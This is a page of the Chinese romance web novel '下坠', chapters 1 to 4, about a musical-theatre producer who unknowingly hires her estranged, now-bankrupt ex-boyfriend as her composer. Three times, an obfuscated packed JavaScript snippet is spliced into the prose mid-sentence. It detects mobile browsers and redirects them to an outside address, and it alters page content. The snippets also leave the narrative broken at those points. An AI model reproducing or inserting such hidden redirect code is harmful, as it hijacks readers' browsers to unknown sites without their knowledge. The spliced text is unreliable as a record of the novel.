《下坠》 1. 一颗露水 林微澜记得,三年前她还在国内的时候,流金大剧院表演厅用的还是黑色座椅套。 又一次站在熟悉的地方,除了椅套的颜色换成暗红,一切都没变化,仿佛聚光灯还在她身上,她从未离开过舞台。 “从舞台上看观众席,好新鲜。”郑东晴,音乐剧行业名不见经传的新人,《天堂鸟》的编剧兼导演。 “演员和观众的视角,当然不一样。我们的剧,就在这间表演厅里演。”林微澜出道十年,太熟悉音乐剧舞台上下的点滴了。 “还好林老师愿意带我过来看。”郑东晴笑得腼腆羞涩,“还要感谢你一回国就想着我们《天堂鸟》,我都怕你没休息好,太辛苦了。” 林微澜温声说:“本职工作,谈不上辛苦。我很久没演音乐剧,更没当过制作人,反倒是我要谢谢你的信任。” 郑东晴惶恐地摆了摆手,她初出茅庐,受不起抬举的话:“您是林微澜啊,请到您是我的荣幸。何况没有您的青睐,也就没有《天堂鸟》了!” 三个月前,《天堂鸟》凭借剧本内容和5首歌曲demo,得到了林微澜的青睐。 她愿意以出资,把喜欢的作品搬上舞台。 林微澜不擅长说客套话,她点到即止,生硬地扯开话题:“水浪能按时到?” 郑东晴:“能的,他两点钟准时到。” 《天堂鸟》的作曲人叫水浪,是郑东晴在社交app招募来的合作伙伴,两人只在网络上交流,没有见过面。 过去的三个月,林微澜虽然身在国外,却和郑东晴掐着时差精修完了剧本;水浪也编谱完了所有曲目,林微澜一首首听过,没有太大问题,只有六首歌曲需要改动。 今天,是林微澜和郑东晴、水浪见面详谈修改歌曲的日子,三个人的ip都在上央市,面对面交谈效率更高。 林微澜没有水浪的联系方式,只能由郑东晴做中间人:“快两点了,我们到咖啡厅等他。” 水浪神秘兮兮,虽尽管名义上是郑东晴的合作伙伴,郑东晴却只知道他性别为男,年纪不大——至于林微澜,对他了解得更少。 不过林微澜很喜欢水浪的作品。 水浪的创作每一首歌,都契合她的审美。 和前男友分手后,很久没有人,与她的品味如此有缘了。 林微澜特意查看过水浪的音乐人主页,可惜他只有寥寥两三首作品,播放量低、质量平庸。如果把这几首歌拿到她跟前来,她根本不会多听一秒钟,偏偏水浪给《天堂鸟》写的,都是优秀佳作。 头一次上音乐剧舞台,郑东晴像只扑腾的蝴蝶,从这头踱到那头,舍不得走,踱着踱着,脚步忽然被手机提示音打断。 她瞥了眼屏幕,随之变了脸色: “林老师,不好意思,水浪说他有急事,不来了。” 眉峰蹙了蹙,林微澜一向讨厌失约的人,尤其是因此耽误她工作的人:“你把他的联系方式推送给我,我直接和他谈。” 郑东晴基本不懂乐理,过问不了作曲编曲,有些问题,还得林微澜和水浪交接。 她把水浪的联系方式推给了林微澜。 约好了时间,临时又毁约,林微澜不大高兴,她压制着胸口腾出的火气,添加水浪为好友。 五月份的上央市,热浪滚滚,林微澜前几天才回国,忙得不可开交,一边筹备《天堂鸟》,一边忙着搬家,水浪还放她鸽子。 她只得往后屈起两条修长手臂,用腕间的头绳束住长发,降一降身心的燥热。 于是,她的面庞便不受任何鬓发修饰地露在了灯光下。 美人玉面,郑东晴情不自禁慢了一瞬呼吸。 大约从八年前起,各个影视剪辑就常常出现一张清丽莹白的脸。十八岁的林微澜,在她母亲林倩主演的文艺片里客串了五分钟,因为容貌气质太卓越,被包括郑东晴在内的观众网友们记到了今天。 “林老师您别生气,水浪不来,我们两个先聊。”郑东晴说着,腿已经往外挪。 的确不应该生气,不值得,反正以后林微澜不会再和水浪这种不守信用的人合作了,再有才华也不行。 可她依旧站在舞台中央,舍不得走。 阔别流金大剧院的舞台三年,她的不舍理所应当。 依依不舍的心绪还来不及完全收止,就被另一抹错愕占去上峰。 林微澜的视线里匆匆掠过一道高大模糊的影子。 她愣了愣,确认那道影子是从表演厅大门外穿过。 似乎还停留了一两秒,往她的方向看了一眼? 林微澜为此怔住。 好熟悉的身影。 “林老师,怎么了?”郑东晴发觉林微澜没有动,一头雾水。 “没事,”林微澜回神,云淡风轻地摇摇头,“我们走吧。” 路潮不可能出现在这里。 即使从她十六岁,第一次站上音乐剧的舞台起,路潮就没有缺席过她的演出。 即使只要她在台上,台下一定会有他的目光,他也不可能再出现在这里的。 那道影子……应当不是他。 不可能是他。 * 下午六点钟,林微澜和郑东晴作别,离开了咖啡厅。 她在路边耐心等候,直到一辆黑色轿车驶来,向她轻柔地按了两下喇叭。 拉开车门,她坐进了副驾。 “还顺利吗?”主驾上的男人迫不及待亲过来,往林微澜左脸留下重重的一记吻,“编剧和作曲人好不好沟通?” “都顺利。”林微澜摸摸男人英俊的面颊,隐去了根本没见到作曲人的遗憾,“走吧,我赶时间。” 车载音响播放起《天堂鸟》的音乐demo,她闭目养神,脑袋轻轻偏向一侧。 这不对,崔世青为女友的态度发懵,林微澜再话少,也不会吝啬在音乐剧上的言辞。 她有心事。 和林微澜相处时,崔世青一向温柔体贴,懂得察言观色。 不仅是因为他对林微澜的感情,还因为他是星影传媒的艺人,而林微澜,是他老板的独生女。 星影传媒,娱乐行业的龙头公司,由演员林倩创立,旗下开展多个领域的业务。另外,流金大剧院也是星影传媒的产业。 和老板的女儿谈恋爱,崔世青不敢不小心,他用撒娇一般的语气询问:“微微,你有心事呀?说给我听听听嘛。” 林微澜缓缓睁眼,透过车窗打量她阔别了三年的上央市。 “刚才,我好像看见路潮了。” 她轻声说出萦绕了她一下午的疑惑。 崔世青犹遭重击,脸庞攀爬上一层薄薄的霜色:“路潮?” 他知道这个名字,这辈子都忘不了。 “在哪里?” “剧院里头,一闪而过,我没追上去。我不确定是不是他。” 崔世青僵硬地扯起嘴角:“不可能吧,微微,他来剧院做什么?你们当时不是闹得很难看,到了老死不相往来的地步吗?” 正因为闹得太难看,几乎到了老死不相往来的境地,林微澜才不敢相信表演厅外一闪而过的影子,会是路潮。 那个人的脾气……怎么会再踏足任何与她有关的地方? 算了,林微澜深吸一口气,神色舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高中班级是一个很小很单纯的水缸,在缸里呆过的人,都知道林微澜是什么脾性,人不坏,唯独不爱搭理人,大部分同学都待她很友好。 慢慢的,同学们都各自入座,不再有人到林微澜面前来打招呼。 林微澜时不时就会看一眼手机,希望早些看到水浪通过她的好友申请的消息提示。 两点钟到六点多,一个下午都不回复?就那么忙? 还是根本懒得理她? 不至于吧,听说水浪急需用钱,林微澜在听完《天堂鸟》所有曲目后的第二个小时,就支付了稿费。 二十多首歌,十几万块钱,水浪应当对她抱有感激才对。 “路潮?” 在林微澜静默的纳罕中,有人用一个名字拽回她的思绪,令她脊背一震。 同学聚会,提及老同学是人之常情,林微澜深深呼吸一次,不去理会。 可她的耳朵不听话,自主地屏蔽掉世界里所有的嘈杂,唯独锁定了议论声传来的方向。 “这不是路潮吗?” “还真是路潮啊!大家看,是谁来了!” “林微澜林微澜,你快看啊!” 事情似乎不像林微澜想的那样简单。 但她依旧注视手机屏幕,并不急着抬头。 待到吐出一口微弱的气息,整理好心绪,林微澜才徐徐掀起明眸,望向包厢门口,望向她那个本以为老死都不会再见的……前男友。 2. 一颗露水 人群和桌椅分割出两个世界,林微澜安静地眺望另一侧。 三年光阴,青年的容貌几乎没有变。 容颜清俊,身姿高大,往人群里一站,永远是最耀目的存在。 他稍稍抿着唇,脸上什么表情都没有,仿佛包厢里的人他都不认识,他只是个局外人。 忽然看清了什么,林微澜瞳孔一凛,眯了眯双眸。 与她一样,也有人发觉端倪,惊诧地发问:“路潮,你穿的是……服务生的制服吧?” 深色的短袖长裤,剪裁只能称得上合格,即使路潮肩宽腿长是天生的衣架子,也很难把他身上的衣裳衬得价格不凡。 而这样的衣服,餐厅的服务生,都穿的有。 ——路潮穿它做什么?答案呼之欲出了,但没人相信。 “看来大家都不知道啊!真是一点都不关心老同学。” 在一阵接一阵的议论里,爆发出一声高呼,是班里人缘颇差的严哲,林微澜最讨厌的那个人。 他高一没读完就转学了,今天根本没人请他,也不知他哪里来的同学聚会的消息。 严哲一字一顿,神态倨傲: “路潮家里——早就破产啦!” 包厢里默了下,瞬间爆发出更纷乱的议论,将林微澜拖进氧气稀薄的真空世界。 她从始至终没有动、没有出声,只任睫羽止不住地颤着。 目光穿过灯光抛射下的光线,缓缓与另一头同样沉默的男人相接。 路潮在注视她。 眼眸深邃暗淡,不表露一丝一毫的情绪。 “微微,”廖锦有些手足无措,悄悄拽住林微澜的手臂,“我不知道路潮家里的情况,更不知道他在这里当服务生。” 林微澜向廖锦淡淡笑了笑,俯首尝了一口白水,寡淡无味:“不要紧。” 前男友的死活,和她毫无关系,她仅是来廖锦邀请的客人,吃完饭就走,不会和路潮有多的交集。 然而严哲的嘴发起疯,非要把火烧过来:“林微澜,你没有话想说?你和路潮当年亲密极了,大家说是不是?” 林微澜斜斜睨去一眼,她从来都讨厌严哲,这人口无遮拦,什么话都敢往外蹦,还曾和她有过不小的矛盾。 正要提醒严哲适可而止,她就听见一道久违的、熟悉的嗓音: “请问几点钟上菜?” 林微澜循声望去,是路潮黑着脸,打断了起哄的严哲。 他的瞳孔半眯着,其中像置放着一个宇宙。 很是乌黑,很是沉静。 林微澜收回了视线。 “尽快上,谢谢。”请客的东道主是廖锦,她有话语权,“严哲,你消停一点。” 得到客人的答案,路潮转身退出了包厢。 林微澜抓着玻璃水杯的指节稍稍用力,泛出苍凉的白,她的眸光落至餐桌中央的花篮上,慢慢聚焦,再缓缓失焦。 她在努力放空自己。 这想法失败了,因为严哲在一旁幸灾乐祸地叫嚷着,生怕谁没听清:“亿嘉地产资金链出了问题,之后就破产了。路潮他爸死了,他妈得了癌,在我们医院治病。” 林微澜眸光一颤。 “别人不知道就算了,林微澜,你也不知道?这不对吧,我们班就属你和他最亲,他只和你玩。”严哲三步并两步窜到林微澜跟前,身上一股烟味。 漠然地抬起眼,林微澜寒声呛了句:“你好难闻,离我远点。” 眼看着严哲面色僵住了,廖锦趁热打铁,不客气地出言警告:“严哲,我本来就没请你来吃饭,要不我请你滚出去?” 又有别人过来劝,严哲再恼火也只能先忍着,悻悻挑了个离林微澜远的位置坐。 “微微,”早知道事情弄成这样,廖锦绝对不会把餐厅定在一缕炊烟,也不会同意严哲死皮赖脸地赴宴,“咱俩出去透透气?” 林微澜摇头:“不用担心我。” 她深吸一口气,握紧了手机。 发出去的好友申请仍没有回应,水浪在做什么? ……路潮这些年,又在做什么? * 餐厅的员工休息室面积很小,路潮离开306包厢,用对讲机和厨房说了声可以上菜,就阔步钻进员工休息室,给自己倒了一大杯冷水,一饮而尽。 经理安排他服务306包厢的客人,谁知道门一开,入眼的都是熟悉面孔。 其中有一张脸,最美貌出众,他也最熟悉,最放不下。 心脏跳得太快了,擂鼓似的轰轰隆隆。 总以为能把林微澜放下,总以为见到林微澜也不会怎么样,却在剧院表演厅外仓惶地临阵脱逃。 路潮原本准备了至少十种见面打招呼的方式,嘿,林微澜,哟,好久不见啊,哈哈,是你啊……统统没有用上。 他跑了,他根本不敢见她。 她会嘲讽他,还是可怜他,又或者完全把他当成陌生人?无论哪一个,路潮都无法接受。 路潮解开了制服的第一颗扣子,满心烦躁。重逢后的第一次正式见面,他穿的不是今天下午精心准备的衬衫西裤,而是身上的服务员服装。 全都搞砸了。 他给林微澜的第一印象一定糟糕透了。 路潮缓了好一会儿神,摸出手机看了眼,他还存着两个人的合照,心情不好就瞅瞅,马上就会觉得还有意思可以活。 ……有人向他的微信小号发送了好友申请。 【系统提示:你好,水浪老师,我是《天堂鸟》的制作人林微澜,我来和你对接修改作编曲的相关事宜。】 林微澜。 视线死死黏在那三个字上,动不了了。 自从和林微澜分手,路潮的创作灵感几乎全部枯竭,产出的都是在他眼里一文不值的废品。 他干脆不再写歌,因为林微澜已经不需要了,所以他写不出好东西了。 直到家里破产、母亲患病,他才不得不硬着头皮拾起曾经的特长,哪怕能卖出去一首,也有小几千块稿费打底。 前段时间,他刷到一位音乐剧编剧招募合作伙伴参加音乐剧创孵化大赛的帖子,点进去瞅了几眼剧本梗概之后,他脑子里竟浮现出一个身影。 这部叫做《天堂鸟》的音乐剧,主角身上的气质很像林微澜。 他联系了郑东晴,询问作品如果被录用,自己可以拿到多少稿酬,郑东晴很为难,她没办法保证《天堂鸟》一定能中选。 可是灵感一旦萌生,就很难止歇了,路潮可以暂时不要稿费。 那段时日,绝对是他几年以来灵感最充沛、思绪最活跃的。 不久后,他收到郑东晴的回复,说《天堂鸟》没有中选,但星影传媒的总裁千金相中了这个本子,也相中了他的歌曲demo。 手机屏幕还在熠熠发亮。 路潮缓慢移开了视线,手指却不自觉地点击“同意”。 * 一声手机振动,林微澜终于收到了好友申请通过的消息。 【系统提示:您已成功添加水浪为好友。】 等待的事有了结果,她一点笑不出来。 心里被石头压着,非要搬开了,才能真心地畅快。 大部分同学都识趣,不会主动把她和路潮扯在一起,可是众人的议论声,不是她不想听就真的听不到的。 尤其以严哲为中心,各样的疑问讨论不绝于耳,有人说路潮可怜,有人说路潮也不容易…… 他们说得越多,林微澜喝的水也越多。 直到包厢的门再次从外打开,路潮和同事推着上菜的餐车进来,这场讨论才戛然而止。 林微澜再度望向前男友。 分别了大概十分钟,当然不会有任何容颜外表上的变化,只不过路潮的眼睛低垂着,不再和第一次进门时一样注视她了。 “路潮,”有一位心地善良的同学站起身,“你要不坐一会儿?我们老同学吃顿饭,叙叙旧。” 路潮没抬头,将菜品放上餐桌:“我还要工作。” 那位同学怔了怔,暗笑自己不该自讨没趣,早知道路潮是什么臭脾气。 他不介意,不代表严哲放弃了抓路潮机会的错处:“路潮,你对客人太没礼貌了,你连给你妈治病的钱都没有,到底装什么啊?别给脸不要脸。” “到底谁没有礼貌?”咚的一声,一碟凉菜重重摆上桌,吓了周围的人一跳。 路潮眼神冰冷,眸子里烧着两团火:“不吃饭就滚。” 严哲气得脸通红,蹭一下子蹦起来:“去把你们经理叫来!” 在剑拔弩张气氛里,林微澜坐直了身体,没有说话。 廖锦见不惯严哲的样子,更烦他在同学聚会上胡闹:“严哲,谁叫你把人家的私事挂在嘴上当谈资?还不许人家生气了?中心医院的医生,就这样欺凌患者家属?” 这话一完,严哲的气焰微弱了许多,可他仍要为自己搏回一些颜面:“行,路潮,你来给大家斟酒,这是你应该提供的服务,总不算欺凌你吧。” 林微澜松弛下腰背,却笑了,叫路潮来斟酒? 真是异想天开,他不把酒瓶子砸到严哲脑袋上就算不错。 然而才过数秒,她惊讶听见路潮权衡过后的冷冽声音:“稍等。” 他这是答应了。 林微澜不动声色咬了咬下唇。 菜品上齐,路潮从背对包厢门的位置开始,按顺时针,一位客人一位客人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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路潮不发一言,继续给她倒温水,待到杯子倒满,才咬牙抛下一句:“不用你管。” 随着茶壶被放下的声音,路潮头一扭,阔步离开306包厢。 十几道目光先后汇聚向林微澜,神色各异,她却似笑非笑,什么都没说。 * 一缕炊烟不允许员工在待客期间看手机,因而路潮要么躲进员工休息室,要么藏进厕所隔间,才有机会偷偷地违规。 这一次他选择了厕所隔间。 门锁一插,不会有人打扰他。 微信小号的消息框空空如也,只有一条系统默认的提示:你已经添加上【VV】,现在可以开始聊天了。 路潮掌心热乎乎的,冒出怎么擦也擦不完的汗珠,他等了五六分钟,仍旧任何新消息都没有。 什么意思,加上好友了又不和他说话?不是说要谈一谈? 那倒是谈啊,别只顾着吃饭啊! 路潮终于等不住了,不如先问个好,反正林微澜不知道水浪就是他。 “你好”——打下这两个字后,路潮想了想,把文字清空干净;“有什么事”——也不行,路潮又清空了这几个字。 他琢磨了好几次,最后只发了个“?”。 这时,经理用对讲机喊他过去,叫他帮忙照顾一下隔壁大包厢的客人,他只得暂时收起手机,却把振动力度调到了最大。 离开卫生间,走廊窗户外头的那株芭蕉叶竟油润翠绿了许多。原来是暴雨浇下来,噼里啪啦的,如同珠玉落进银盘。 阴沉灰暗的天色,让路潮的心沉了几分。 若要到隔壁大包厢,需要经过同学聚会的306包厢,路潮从外经过,发现306的门虚掩着,下意识朝里瞥了瞥,心脏竟为此慢了一拍。 林微澜的座位上没有人了。 她挂在椅背上的手提包也不在了。 餐厅外密密的雨幕似乎冲路潮卷过来,逼得他忽地心慌,他没有多管,猛地推开306包厢的门。 迎着众人困惑的视线,路潮脊背紧绷,哑声道:“……刚才忘了说,今天充五百送八十,再送两扎啤酒。” 廖锦为他僵硬的推销技术失语,可她注意到了,从一进门起,他的眼神黏在一个空空如也的座位上。 她翻了一记轻飘飘的白眼,又气又想笑:“我们不充钱。还有,她走了。” 路潮走出306,木木地合上门。 又走了,又走得那么利落绝情。 和三年前一样,一点情面都不留。 3. 一颗露水 走出一缕炊烟是七点整,天际的暴雨恰巧泼下来,崔世青的车也到了。 林微澜没搭理男友,只顾和母亲林倩通话:“世青接到我了,我们马上来医院。爸爸还好吗?” 电话另一头的林倩带着点儿鼻音:“雨太大了,你们不要急着来,不安全——你爸爸没事了。” 林微澜的父亲患有哮喘,一旦情况严重,可能危及性命,今晚就是突发急症,以至于心脏骤停,送到医院抢救。 “慢点开车就好,我先挂电话了。”这么大的事,林微澜不可能不急。 而且,她不想再留在那家餐厅里。 那里有她不想见到的人,不想听到的闲话。 “是不是来不及吃饭?”崔世青担忧女友的身体,他自己不要紧,自从做了演员,对身材的自我要求让他与正儿八经的晚饭告别很久了。 “不饿。”母亲的电话来得不巧,那时林微澜才喝完一碗排骨汤,放下手机就联系了崔世青,急着往医院赶。 这场同学聚会,她只留了半个多小时,所经历的,却足够她回味一晚上。 雨下了没几分钟,车里并不闷,她的神情却是紧绷的,看得崔世青心里咯噔一下,不得不问:“微微,叔叔脱离危险了,你别怕。” 林微澜偏过脸,单手撑着下颚,轻声呢喃: “世青,我真的遇见路潮了。” 红灯亮起,崔世青重踩一脚刹车,闹得林微澜身形晃了晃,不满地拧眉。 崔世青恍惚了那么一瞬,这是他的不该:“路潮也参加同学聚会?” 他听说路潮高中时期人缘超烂,只和林微澜玩得来。 双眸睁开一道细缝,半缕天色漏进林微澜眼中:“他家里破产了,他在餐厅做服务生。” 她答得很简洁,不拖泥带水,也没有给予路潮的遭遇以过多评价。 其实她的情绪也不外显,换个人来根本品不出端倪,是崔世青心细如发,太过了解她:“微微,你心里不舒服?” 林微澜不置一词。 她心尖上硬生生地发涩,像学生时代用尖利的指甲划过黑板,滋滋滋,滋滋滋…… 难受,犯恶心。 又有说不清的快感,居然想顶着恶心,再划两声,再听两声。 “都和他分手三年了,”崔世青打开车载音乐,挑了一首经年不衰的大众金曲播放,“别想他了。” 唇齿触碰到指甲的硬度,林微澜低头,无意识啃咬自己的指尖,对啊,都是前男友了。 “你又咬指甲。”崔世青提醒了一声,把苦甲水摸出来递给女友,“喏,涂一点。” 林微澜摆了摆手,没接苦甲水。 暴雨不管不顾地拍打车窗,水滴还来不及汇聚成线,就被新落下的雨冲垮了。 她倚上车窗,忽然有了困意。 * 初三毕业的暑假,林微澜经过面试选拔,顺利得到了在流金大剧院出演音乐剧的机会。 那是她人生第一部剧,她模样漂亮,唱功舞蹈和演技都拔尖,排练过程非常顺利,剧目很快登上舞台。 人生首作便演主角,林微澜丝毫不怯场,她站在聚光灯下,目光扫过观众席上的一张张脸—— 坐在观众席第一排,却始终低头玩手机的那位男观众,被她看在了眼里。 林微澜很确信,这位男观众并非偶尔拿起手机玩一玩,三首歌唱完,他的眼睛从未离开手机屏幕。 一旦进入表演,演员最重要的事只有保证演出顺利完成,为观众分心是很不专业的。 可她非常不舒服,甚至感到气恼,买了第一排不看剧,只知道玩手机,还不如把票给其他值得的观众。 林微澜深吸一口气,把注意力完全转移回表演上。 等她的眼神再度扫过观众席第一排,那位观众却已经掀起乌眸,全神贯注地凝望她了。 他的长相很出挑,即使稚气未脱,也能窥见他成人后的英俊。 林微澜喜欢这样的长相。 她挪开目光,继续完成她的演出。 首演好评如潮,年仅十六岁的林微澜依靠出色的专业素养,在业内业外都收获了不低的评价。 原本,她已经将首演的小插曲给忘了,没想到第二场、第三场演出,那位男观众依然买了票,场场都坐第一排。 而且,再也没在她表演时玩过手机,只专心欣赏表演。 一个人专心不专心,可以从眼神里看出来。 林微澜感谢每一位愿意看她演出的观众,即使有些观众不是冲她买票,至少他们的存在,让她的能力被看到。 当然,她也感谢那位令他印象深刻的男观众。 第四场演出结束,林微澜在sd口①再度见到他。 他是排队和演员互动的观众之一,手里捧着的玫瑰花,也是许多花束之一。 “我听说观众可以给演员送花,对吧?送给你,林微澜。”他爽朗地微笑,羞涩与腼腆仅占去他情绪的十分之一,“你唱歌真好听。” 林微澜低头看了眼捧花中心,卡片上的落款是两个小字:路潮。 整个暑假,她有十二场演出,路潮全勤观演,场场都是vip席位,与她互动八次,送了八束玫瑰。 可她并不了解他,他每次来,话都不多,她仅从花束卡片里知道了他的名字,又从他的衣着穿戴对他的家境做了估量,除此之外,她对路潮一无所知。 观众太多了,秩序乱哄哄的不好维持,每个观众说不上几句话就被挤走。有时,林微澜能在路潮脸上看出无奈,而后他冲他挥了挥手,就转身离开。 暑假结束前,林微澜演完了她的最后一场表演,之后会由另一位演员出演女主角,她本人要升入高中、投身学业。 她想,没有缘分的话,以后很难再收到路潮的玫瑰了。 * 林微澜从浅眠里惊醒。 香薰的玫瑰花气味缓慢流淌,与潮湿气息相融到一处。 向车窗外一瞥,仁安医院已经到了。 仁安医院和市中心医院不同,它坐落在近郊的位置,是一家私立医院,距林公馆很近,离市中心则有四五十分钟的路程。 林微澜的父亲赵元修已经醒了,人还很虚弱,精气神蔫蔫的,需要留院观察。 “爸,”林微澜松了口气,脸却冷得像块雪玉,“你有哮喘,还敢下厨房闻油烟味?家里不是有阿姨?” 赵元修有点委屈:“我想给你妈妈做顿饭,给她个惊喜。我很久没给你妈妈做饭了。” 林倩瞪他:“谁稀罕?” “我都戴口罩了,谁想得到呢……当年你追我的时候,明明说很喜欢我做的饭的。”赵元修委屈得很,将头蒙进被子里,谁都不理。 林倩怕他憋死,强行给他拽了出来。 “林总和赵叔叔感情真好。”崔世青不是林家人,他格格不入地尴尬着,半分看热闹的态度都不敢往外露。 他是外人,这也就算了,而林家的女儿林微澜,竟也一言不发,完全将自己隔绝了在双亲的恩爱之外。 林倩长红数十年,国民度高得惊人,高得理所应当。她年轻时绯闻等身,却在32岁那一年,突然和一个比她小十岁的男人结婚生女。 林微澜的父亲赵元修出身豪门,为了和林倩结婚放弃继承权,只拿了小部分股份和几套车房就入赘到林家。 这其中什么是真的,什么是假的,林微澜花了十几年都没看清楚。 所以她选择闭上眼,什么都不看。 “不说我了,微微搬出去住得习不习惯?”赵元修的小情绪缓和了些。 林微澜一周前回国,当天就做了搬家的决定,前天,她正式从林公馆搬到流金大剧院附近的嘉珑花园。 流程快得行云流水,以至于她的双亲恍惚了好几天都没能完全接受。 大学时期,她和路潮就同居在嘉珑花园里,那套房是林倩送给她的高中毕业礼物之一。 林微澜:“习惯,又不是没住过。” 赵元修鼻音很重:“外面再好也没有家里好,你不在家,我和你妈妈适应了三年,都没能‘习惯’……” “我会经常回家。”林微澜是不吃爸爸这一套的,“你最重要的事是养身体,不是操心我。” 赵元修冲林倩哼唧了几声,好像在说“你帮我说几句话呀”,林倩却摸摸丈夫脸颊,沉默地微笑以对。 和才脱离生命危险的父亲寒暄完了,林微澜又望向母亲:“妈妈,我有事想问你,我们到外面说。” 林倩陡然一愣,女儿长大之后,和她之间的私密话越来越少,今晚居然主动要和她说悄悄话。 快八点钟了,夏夜的天鹅绒夜幕倾笼了上央市,仁安医院外风雨大作,吹得树枝地摇晃着。 林微澜就在看得见夜景的走廊窗户前站定,眸底涌入夜色里微弱的灯火:“路潮家破产了,妈妈,你知道吗?” 星影传媒与亿嘉地产同在上央市,林微澜不关注前男友,更不关注财经新闻,不知道路家破产太正常,若林倩也从未听说,那就不对劲了。 最好的回答应该是坦诚的,林倩镇定自若:“我知道,他们家一破产我就知道,那时候你出国不久。微微,为什么突然问这个?你怪妈妈没有告诉你?” 窗外炸开一道惊雷,林微澜的半张脸顿时抹上一片白:“同学聚会遇到他了,我随便问问。” “宝贝,”林倩抚了抚女儿面颊,轻声细语,“和前男友分手要利落。我年轻的时候,分手从来不拖泥带水,和你爸爸才有今天。” 母亲的第一句话,林微澜很认可;第二句,她却不置可否,甚至想笑,但她演得天衣无缝,一句“我明白”,林倩就真的什么都没有看出来。 “你想得通就好。”林倩笑了,“今天的工作聊得怎么样?有需要妈妈帮忙的,只管告诉我。” 做影视剧演员前,林倩唱了好几年音乐剧,还拿过国际奖项,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180374|180929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰伤不能再跳舞才转型,她有能力也有财力来支持女儿的事业。 “都顺利。”谈及工作,林微澜的眉头舒展了许多,“昨天我提的那件事,公司怎么说?” 星影传媒有自己的剧院,却不开展出品、制作音乐剧的业务。林微澜的想法,即是在星影内部建立事业部,出品音乐剧甚至是话剧、歌剧,既有星影的影视ip作为改编依托,还有演出场地。 “还能怎么说?当然是没问题的。只是还需要你写一份运营计划书应付股东,走流程也需要时间。”林倩不自觉地抬了抬下颚,眼里溢出光彩,她的女儿很有想法,她很难不欢喜。 “那就好,谢谢妈妈。”林微澜点了点头,“我们回去吧。” 骄傲之余,林倩感到了失望,她和女儿好不容易建立起来的话题,不能就这么结束:“《天堂鸟》具体是个什么样的故事?我只听过旧版本,给我和你爸爸讲一讲新版本,好吗?” 林微澜敏锐发觉了林倩的意图,半晌,她迟疑着应允。 母女俩回到病房,一家三口与崔世青就这样慢慢地聊,林微澜把《天堂鸟》的故事娓娓道来。 新版故事是她和郑东晴耗费数月精修过的,更加曲折生动、细腻轻盈,歌词也更有文学性。 滔滔不绝地讲了许久,直到她口渴,想要歇一歇:“我给你们听几首demo,我们的作曲老师很厉害。世青,我的手机给我,在我包里。” 崔世青依言照做。 看到手提包的刹那,林微澜脸色变了:“包上的毛绒挂件,哪里去了?” * 同学聚会结束,306包厢的客人都走了,路潮进屋,按照流程打扫卫生。 路潮的大学专业偏冷门,作曲与编曲,一般来说,毕业即失业。 可他仗着家底丰厚和家人的支持,义无反顾地填报上了高考志愿。 因为林微澜下定决心要唱音乐剧。 路潮由此生出了一个绮丽的理想和愿望,他从小学习乐器,不如就一辈子为林微澜写歌。 可惜,他的理想和愿望,都随着恋情终结,泡沫似的破灭了。 拖把布密密地掠过瓷砖,突然,呼啦一声,有东西被拖把布从餐桌底下薅了出来。 小小的一个,路潮却为此怔住,心跳忽地加快。 他认得这东西。 这是林微澜用了好几年的毛绒挂件,她姥姥去世前几年亲手缝的,她爱用哪个包,就挂在哪个包上做装饰。 林小姐不缺钱,要什么样的挂件没有,却对姥姥做的万分珍视。 如果发现这东西丢了,不知道她会急成什么样,外面又下着大雨…… 路潮捡起挂件,腿一抬就要往外走,前台会登记订包厢客人的手机号,他可以联系廖锦,再…… 算了。 林微澜丢东西,关他什么事。 他需要做的,只有把挂件交给前台,等客人自行回来询问。 路潮将挂件揣进兜里,继续拖地。 306是大包厢,拖起来不容易,路潮拖了没几下,过来巡视的经理就站在包厢门口吼:“路潮,你在用拖把画画吗?用点劲,认真拖、仔细拖,软绵绵的根本拖不干净!” “……哦。”路潮被经理吼醒了。 他后知后觉,自己太过心不在焉,刚才这几分钟,他仅是用拖把随便摆了几下,哪块地砖都没有拖干净。 窗户为了透气全开着,沉闷湿润的气息肆无忌惮从外涌进。 路潮掏出挂件,轻轻捏住毛绒兔子的耳朵。 就像从前林微澜捏他的耳朵那样。 动作很柔、力道很轻,林微澜通常会在捏完之后,再亲一亲他的耳垂。 路潮禁不住,握着拖把笑出声来。 他旋即意识到自己在笑什么,于是笑意流水般地收敛干净,嘴唇绷起。 半分钟后,餐厅前台见到了板着脸的路潮。 路潮:“李姐,你联系一下306预留的手机号,有客人的东西掉在包厢里了。” 李姐“哦”了声,很遗憾,电话无人接听:“306的客人唱k去了,他们出门的时候我听到了哦。ktv那么吵,不一定听得见手机响。” 那就麻烦了,路潮啧了声,联系不上廖锦,没办法告诉林微澜她的挂件丢在哪。 李姐又说:“小路啊,你把东西放前台呗,客人肯定会回来找的。” 路潮想了想,这也是一个主意:“等她拿走了,你给我说一声。” “好。”李姐点头,接着忙自己的事,这个小路怎么回事,今晚格外古怪,故意憋着事儿一样。 结果不到十分钟,路潮去而复返,又找上了前台:“李姐,306都是我同学,您用前台座机帮我打个手机号,就说她的挂件掉在餐厅了。” 林微澜最好没有换手机号码。 分明只是一个小东西,路潮却觉得重若千钧。 不物归原主,他坐立难安。 4. 一颗露水 E国多雨,路潮拢了拢风衣外套,神色疲惫地挡住了往心口扑的冷风。 上飞机之前,他和母亲大吵了一架,母亲的话犹在耳侧,挥之不去: 